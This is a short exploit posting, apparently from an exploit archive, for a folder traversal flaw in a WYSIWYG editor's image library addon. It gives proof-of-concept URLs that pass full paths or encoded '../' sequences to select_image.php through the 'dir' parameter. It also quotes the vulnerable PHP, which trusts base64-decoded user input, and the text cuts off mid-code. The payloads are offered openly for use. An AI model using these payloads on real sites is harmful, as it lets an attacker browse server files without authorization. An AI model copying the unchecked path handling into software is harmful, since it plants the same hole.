# Author : Geek # Title : Wysiwyg Imagelibrary Addons (Folders Traversal) # Date : Today :P # Site : Sec4ever.com # p0x : {x} http://localhost/lol/wysiwyg/addons/imagelibrary/select_image.php?dir=full path to public_html or httpdocs {x} http://localhost/lol/wysiwyg/addons/imagelibrary/select_image.php?dir=..%2Fhome..%2Fuser..%2Fpublic_html # Code : $get_dir = isset($_GET['dir']) ? prepare_input($_GET['dir']) : ""; ...... if($get_dir){ $dir = base64_decode($get_dir); if(substr($dir, -1, 1)!='/') { $dir = $dir . '/'; } $dirok = true; $dirnames = split('/', $dir); for($di=0; $di